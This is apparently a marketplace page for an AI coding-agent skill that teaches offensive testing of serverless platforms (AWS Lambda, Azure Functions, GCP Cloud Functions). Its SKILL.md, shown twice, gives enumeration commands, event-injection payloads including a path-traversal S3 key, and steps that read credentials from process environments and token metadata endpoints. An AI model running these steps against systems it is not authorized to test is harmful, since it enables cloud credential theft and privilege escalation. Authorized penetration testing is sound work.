/attacking-serverless
Attack serverless compute — AWS Lambda, Azure Functions, GCP Cloud Functions, and edge runtimes like Cloudflare Workers. Enumerate functions, inject through event sources (S3, SQS, SNS, API Gateway, EventBridge), extract credentials from the execution environment, abuse
$ npx -y skills add trilwu/secskills --skill attacking-serverless --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
- Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
- You can call itInvoke it directly when you want it.
- Slash command
/attacking-serverless
Context preview
The summary Claude sees to decide when to auto-load this skill.
Attack serverless compute — AWS Lambda, Azure Functions, GCP Cloud Functions, and edge runtimes like Cloudflare Workers. Enumerate functions, inject through event sources (S3, SQS, SNS, API Gateway, EventBridge), extract credentials from the execution environment, abuse
SKILL.md
attacking-serverless.SKILL.mdname: attacking-serverless
description: Attack serverless compute — AWS Lambda, Azure Functions, GCP Cloud Functions, and edge runtimes like Cloudflare Workers. Enumerate functions, inject through event sources (S3, SQS, SNS, API Gateway, EventBridge), extract credentials from the execution environment, abuse over-privileged IAM roles, exploit cold-start persistence and container reuse, and test trigger misconfigurations. Use when a target runs serverless functions, when API Gateway or function URLs front compute, when event-driven architectures process untrusted input, or when cloud function execution roles need privilege-escalation testing.
verified: 2026-07-27
Attacking Serverless
Serverless changes the attack surface from hosts to events. There is no SSH, no persistent shell, no OS to enumerate in the traditional sense. The execution environment is ephemeral, but the IAM role attached to it is not, and that role is almost always the real target. A compromised Lambda function does not give you a server — it gives you a set of AWS credentials that refresh automatically, have no MFA, and were scoped by a developer who optimized for "make it work" rather than least privilege. The same pattern holds across Azure Functions, GCP Cloud Functions, and edge runtimes, with minor variation in where the credentials live and how the isolation boundary is drawn.
When to Use
- The target runs AWS Lambda, Azure Functions, GCP Cloud Functions, or
Cloudflare Workers
- API Gateway, Azure API Management, or GCP API Gateway fronts serverless compute
- Event-driven architectures process input from S3, SQS, SNS, EventBridge,
Pub/Sub, or Storage triggers
- You need to test the execution role or managed identity attached to a function
- Step Functions, Durable Functions, or Cloud Workflows orchestrate serverless
components
- Function URLs or HTTP triggers are exposed without an authorizer
When NOT to Use
- **IAM-only without serverless compute** — use `exploiting-cloud-platforms` for
general cloud IAM enumeration and privilege escalation
- **API Gateway as a REST API** where the backend is containers or VMs — use
`testing-apis` for the API methodology
- **Source code review of function code** without runtime access — use
`auditing-code-for-vulnerabilities` for static analysis
Reconnaissance
Discover functions before you attack them. The function name, runtime, handler, event sources, and attached role are all enumerable from the cloud control plane or from the application itself.
# AWS — list functions and their configurations
aws lambda list-functions --query 'Functions[*].[FunctionName,Runtime,Role,Handler]' --output table
aws lambda list-event-source-mappings --function-name TARGET_FUNCTION
aws apigateway get-rest-apis
aws apigatewayv2 get-apis
# Azure
az functionapp list --query '[].{name:name, runtime:siteConfig.linuxFxVersion, rg:resourceGroup}' -o table
az functionapp function list --name APP_NAME --resource-group RG
# GCP
gcloud functions list --format='table(name,runtime,entryPoint,trigger)'
gcloud functions describe FUNCTION_NAMEFrom the outside, look for: API Gateway default stages (`/prod`, `/dev`, `/stage`), function URL patterns (`*.lambda-url.*.on.aws`, `*.azurewebsites.net/api/`, `*.cloudfunctions.net`), and error responses that leak runtime information (`Runtime.HandlerNotFound`, `MODULE_NOT_FOUND`).
Event Injection
In serverless, the event IS the input. Every event source is an entry point, and most of them are not HTTP — they bypass WAFs, API gateways, and any middleware that only inspects HTTP requests.
**The event object is attacker-controlled when:**
- S3 bucket names and object keys arrive in the event (path traversal in key names)
- SQS/SNS message bodies are processed without validation
- API Gateway passes query strings, headers, and body into the event
- EventBridge custom events are accepted from accounts you control
- DynamoDB Streams carry records you inserted through the application
- Cloudflare Workers receive the full Request object including headers and URL
# S3 event — the key is attacker-controlled if uploads are open
{
"Records": [{
"s3": {
"bucket": {"name": "target-bucket"},
"object": {"key": "../../../tmp/payload"}
}
}]
}# Inject through SQS — if you have SendMessage permission
aws sqs send-message --queue-url https://sqs.*.amazonaws.com/ACCOUNT/QUEUE \
--message-body '{"exploit": "payload"}'
# Invoke a function directly if you have lambda:InvokeFunction
aws lambda invoke --function-name TARGET --payload '{"key":"value"}' /dev/stdoutTest each event source independently. A function that sanitizes HTTP input from API Gateway may not sanitize the same fields when they arrive from SQS.
Environment Variable Extraction
Serverless runtimes inject credentials and configuration as environment variables. If you achieve code execution inside a function, these are the first targets.
# Read the process environment — works in most runtimes
cat /proc/self/environ | tr '\0' '\n'
# Key variables on AWS Lambda
echo $AWS_ACCESS_KEY_ID
echo $AWS_SECRET_ACCESS_KEY
echo $AWS_SESSION_TOKEN
echo $AWS_LAMBDA_FUNCTION_NAME
echo $AWS_REGION
# Lambda runtime API — metadata endpoint inside the execution environment
curl -s "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next"
# Azure Functions
echo $AzureWebJobsStorage # often a full connection string
echo $IDENTITY_ENDPOINT # managed identity token endpoint
curl -s "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01" \
-H "X-IDENTITY-HEADER: $IDENTITY_HEADER"
# GCP Cloud Functions — metadata server
curl -s "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
-H "Metadata-Flavor: Google"Developers also store secrets in environment variables directly rather than using Secrets Manager or Key Vault.
Read more
name: attacking-serverless description: Attack serverless compute — AWS Lambda, Azure Functions, GCP Cloud Functions, and edge runtimes like Cloudflare Workers. Enumerate functions, inject through event sources (S3, SQS, SNS, API Gateway, EventBridge), extract credentials from the execution environment, abuse over-privileged IAM roles, exploit cold-start persistence and container reuse, and test trigger misconfigurations. Use when a target runs serverless functions, when API Gateway or function URLs front compute, when event-driven architectures process untrusted input, or when cloud function execution roles need privilege-escalation testing. verified: 2026-07-27
Attacking Serverless
Serverless changes the attack surface from hosts to events. There is no SSH, no persistent shell, no OS to enumerate in the traditional sense. The execution environment is ephemeral, but the IAM role attached to it is not, and that role is almost always the real target. A compromised Lambda function does not give you a server — it gives you a set of AWS credentials that refresh automatically, have no MFA, and were scoped by a developer who optimized for "make it work" rather than least privilege. The same pattern holds across Azure Functions, GCP Cloud Functions, and edge runtimes, with minor variation in where the credentials live and how the isolation boundary is drawn.
When to Use
- The target runs AWS Lambda, Azure Functions, GCP Cloud Functions, or
Cloudflare Workers
- API Gateway, Azure API Management, or GCP API Gateway fronts serverless compute
- Event-driven architectures process input from S3, SQS, SNS, EventBridge,
Pub/Sub, or Storage triggers
- You need to test the execution role or managed identity attached to a function
- Step Functions, Durable Functions, or Cloud Workflows orchestrate serverless
components
- Function URLs or HTTP triggers are exposed without an authorizer
When NOT to Use
- **IAM-only without serverless compute** — use `exploiting-cloud-platforms` for
general cloud IAM enumeration and privilege escalation
- **API Gateway as a REST API** where the backend is containers or VMs — use
`testing-apis` for the API methodology
- **Source code review of function code** without runtime access — use
`auditing-code-for-vulnerabilities` for static analysis
Reconnaissance
Discover functions before you attack them. The function name, runtime, handler, event sources, and attached role are all enumerable from the cloud control plane or from the application itself.
# AWS — list functions and their configurations
aws lambda list-functions --query 'Functions[*].[FunctionName,Runtime,Role,Handler]' --output table
aws lambda list-event-source-mappings --function-name TARGET_FUNCTION
aws apigateway get-rest-apis
aws apigatewayv2 get-apis
# Azure
az functionapp list --query '[].{name:name, runtime:siteConfig.linuxFxVersion, rg:resourceGroup}' -o table
az functionapp function list --name APP_NAME --resource-group RG
# GCP
gcloud functions list --format='table(name,runtime,entryPoint,trigger)'
gcloud functions describe FUNCTION_NAMEFrom the outside, look for: API Gateway default stages (`/prod`, `/dev`, `/stage`), function URL patterns (`*.lambda-url.*.on.aws`, `*.azurewebsites.net/api/`, `*.cloudfunctions.net`), and error responses that leak runtime information (`Runtime.HandlerNotFound`, `MODULE_NOT_FOUND`).
Event Injection
In serverless, the event IS the input. Every event source is an entry point, and most of them are not HTTP — they bypass WAFs, API gateways, and any middleware that only inspects HTTP requests.
**The event object is attacker-controlled when:**
- S3 bucket names and object keys arrive in the event (path traversal in key names)
- SQS/SNS message bodies are processed without validation
- API Gateway passes query strings, headers, and body into the event
- EventBridge custom events are accepted from accounts you control
- DynamoDB Streams carry records you inserted through the application
- Cloudflare Workers receive the full Request object including headers and URL
# S3 event — the key is attacker-controlled if uploads are open
{
"Records": [{
"s3": {
"bucket": {"name": "target-bucket"},
"object": {"key": "../../../tmp/payload"}
}
}]
}# Inject through SQS — if you have SendMessage permission
aws sqs send-message --queue-url https://sqs.*.amazonaws.com/ACCOUNT/QUEUE \
--message-body '{"exploit": "payload"}'
# Invoke a function directly if you have lambda:InvokeFunction
aws lambda invoke --function-name TARGET --payload '{"key":"value"}' /dev/stdoutTest each event source independently. A function that sanitizes HTTP input from API Gateway may not sanitize the same fields when they arrive from SQS.
Environment Variable Extraction
Serverless runtimes inject credentials and configuration as environment variables. If you achieve code execution inside a function, these are the first targets.
# Read the process environment — works in most runtimes
cat /proc/self/environ | tr '\0' '\n'
# Key variables on AWS Lambda
echo $AWS_ACCESS_KEY_ID
echo $AWS_SECRET_ACCESS_KEY
echo $AWS_SESSION_TOKEN
echo $AWS_LAMBDA_FUNCTION_NAME
echo $AWS_REGION
# Lambda runtime API — metadata endpoint inside the execution environment
curl -s "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next"
# Azure Functions
echo $AzureWebJobsStorage # often a full connection string
echo $IDENTITY_ENDPOINT # managed identity token endpoint
curl -s "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01" \
-H "X-IDENTITY-HEADER: $IDENTITY_HEADER"
# GCP Cloud Functions — metadata server
curl -s "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
-H "Metadata-Flavor: Google"Developers also store secrets in environment variables directly rather than using Secrets Manager or Key Vault.
**Security skills for Claude Code that encode the judgment professionals bring, not another wrapper around a scanner.** Offense, defense, and the reverse-engineering and code-audit core both sides share. Every skill is fact-checked against primary sources.

